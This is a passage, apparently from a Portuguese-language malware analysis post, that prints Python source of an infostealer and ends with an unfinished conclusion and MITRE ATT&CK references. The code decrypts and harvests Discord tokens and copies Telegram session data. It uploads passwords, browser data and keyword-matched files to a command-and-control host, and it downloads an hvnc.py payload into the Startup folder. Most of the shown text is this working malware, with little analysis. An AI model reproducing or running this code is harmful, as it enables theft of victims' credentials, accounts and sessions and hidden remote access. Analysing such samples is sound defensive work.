zip_to_storage(wallet_file["name"], wallet_file["path"], STORAGE_PATH)
except:
pass
for discord_path in DISCORD_PATHS:
if not os.path.exists(discord_path["path"]): continue
try:
name_without_spaces = discord_path["name"].replace(" ", "")
if "cord" in discord_path["path"]:
if not os.path.exists(APPDATA + f"\\{name_without_spaces}\\Local State"): continue
try:
with open(APPDATA + f"\\{name_without_spaces}\\Local State", "r", encoding="utf-8") as f:
local_state = json.loads(f.read())
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
for file_name in os.listdir(discord_path["path"]):
if file_name[-3:] not in ["ldb", "log"]: continue
for line in [x.strip() for x in
open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if
x.strip()]:
for y in re.findall(r"dQw4w9WgXcQ:[^\"]*", line):
token = decrypt_data(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), decryption_key)
token_data = validate_discord_token(token)
if token_data:
if token_data["id"] not in DISCORD_IDS:
DISCORD_IDS.append(token_data["id"])
username = token_data["username"] if token_data[
"discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
DISCORD_TOKENS.append(
{"token": token, "user_id": token_data["id"], "username": username,
"display_name": token_data["global_name"], "email": token_data["email"],
"phone": phone_number})
except:
pass
else:
for file_name in os.listdir(discord_path["path"]):
if file_name[-3:] not in ["ldb", "log"]: continue
for line in [x.strip() for x in
open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", line):
token_data = validate_discord_token(token)
if token_data:
if token_data["id"] not in DISCORD_IDS:
DISCORD_IDS.append(token_data["id"])
username = token_data["username"] if token_data[
"discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
DISCORD_TOKENS.append(
{"token": token, "user_id": token_data["id"], "username": username,
"display_name": token_data["global_name"], "email": token_data["email"],
"phone": phone_number})
except:
pass
password_headers = {"userid": userid, "Content-Type": "application/json"}
password_json_data = json.dumps(PASSWORDS)
requests.post("https://1312stealer.ru/pw", data=password_json_data, headers=password_headers)
for cookie in COOKIES:
with open(STORAGE_PATH + f"\\Cookies-{cookie['browser']}-{cookie['profile']}.txt", "w") as f:
f.write(base64.b64decode(cookie["cookies"]).decode())
web_data_headers = {"userid": userid, "Content-Type": "application/json"}
web_data_json = json.dumps(WEB_DATA)
requests.post("https://1312stealer.ru/webdata", data=web_data_json, headers=web_data_headers)
for discord_token in DISCORD_TOKENS:
with open(STORAGE_PATH + "\\discord-tokens.txt", "w") as f:
f.write(
f"\n{'-' * 50}\n".join([
f"ID: {discord_token['user_id']}\n"
f"USERNAME: {discord_token['username']}\n"
f"DISPLAY NAME: {discord_token['display_name']}\n"
f"EMAIL: {discord_token['email']}\n"
f"PHONE: {discord_token['phone']}\n"
f"TOKEN: {discord_token['token']}"
for discord_token in DISCORD_TOKENS
])
)
for file_to_upload in os.listdir(STORAGE_PATH):
try:
upload_to_server(STORAGE_PATH + "\\" + file_to_upload)
except:
pass
for path in PATHS_TO_SEARCH:
for root, _, files in os.walk(path):
for file_name in files:
for keyword in FILE_KEYWORDS:
if keyword in file_name.lower():
for extension in ALLOWED_EXTENSIONS:
if file_name.endswith(extension):
try:
upload_to_server(os.path.join(root, file_name))
except:
pass
def kill_process(process_name):
# Uses os.system to call taskkill, Windows-specific command
result = os.system(f"taskkill /F /IM {process_name}")
if result == 0:
print(f"Process {process_name} has been killed successfully.")
else:
print(f"Failed to kill process {process_name}.")
def copy_directory(src, dst):
if not os.path.exists(dst):
os.makedirs(dst)
for item in os.listdir(src):
src_path = os.path.join(src, item)
dst_path = os.path.join(dst, item)
if os.path.isdir(src_path):
copy_directory(src_path, dst_path)
else:
with open(src_path, 'rb') as f_read, open(dst_path, 'wb') as f_write:
f_write.write(f_read.read())
def remove_directory(dir_path):
for item in os.listdir(dir_path):
path = os.path.join(dir_path, item)
if os.path.isdir(path):
remove_directory(path)
else:
os.remove(path)
os.rmdir(dir_path)
def telegram():
kill_process("Telegram.exe")
source_path = os.path.join(user, "AppData\\Roaming\\Telegram Desktop\\tdata")
temp_path = os.path.join(user, "AppData\\Local\\Temp\\tdata_session")
zip_path = os.path.join(user, "AppData\\Local\\Temp", "tdata_session.zip")
if os.path.exists(source_path):
if os.path.exists(temp_path):
remove_directory(temp_path)
copy_directory(source_path, temp_path)
with ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(temp_path):
for file in files:
file_path = os.path.join(root, file)
zipf.write(file_path, os.path.relpath(file_path, os.path.join(temp_path, '..')))
with open(zip_path, 'rb') as f:
files = {'file': ('tdata_session.zip', f)}
response = requests.post("https://1312stealer.ru/delivery", files=files)
os.remove(zip_path)
remove_directory(temp_path)
for i in range(10):
try:
telegram()
break
except:
pass
try:
URL = "https://1312stealer.ru/hvnc"
r = requests.get(URL)
with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:
f.write(r.content)
except:
pass
try:
os.remove(STORAGE_PATH)
except:
pass
7. Conclusão
Em construcao
Referências
- MITRE ATT&CK - T1059: Command and Scripting Interpreter
- MITRE ATT&CK - T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- MITRE ATT&CK - T1083: File and Directory Discovery
- MITRE ATT&CK - T1555.003: Credentials from Web Browsers
- MITRE ATT&CK - T1041: Exfiltration Over C2 Channel
- MITRE ATT&CK - T1071.001: Application Layer Protocol: Web Protocols
- MITRE ATT&CK - T1556: Modify Authentication Process
Comments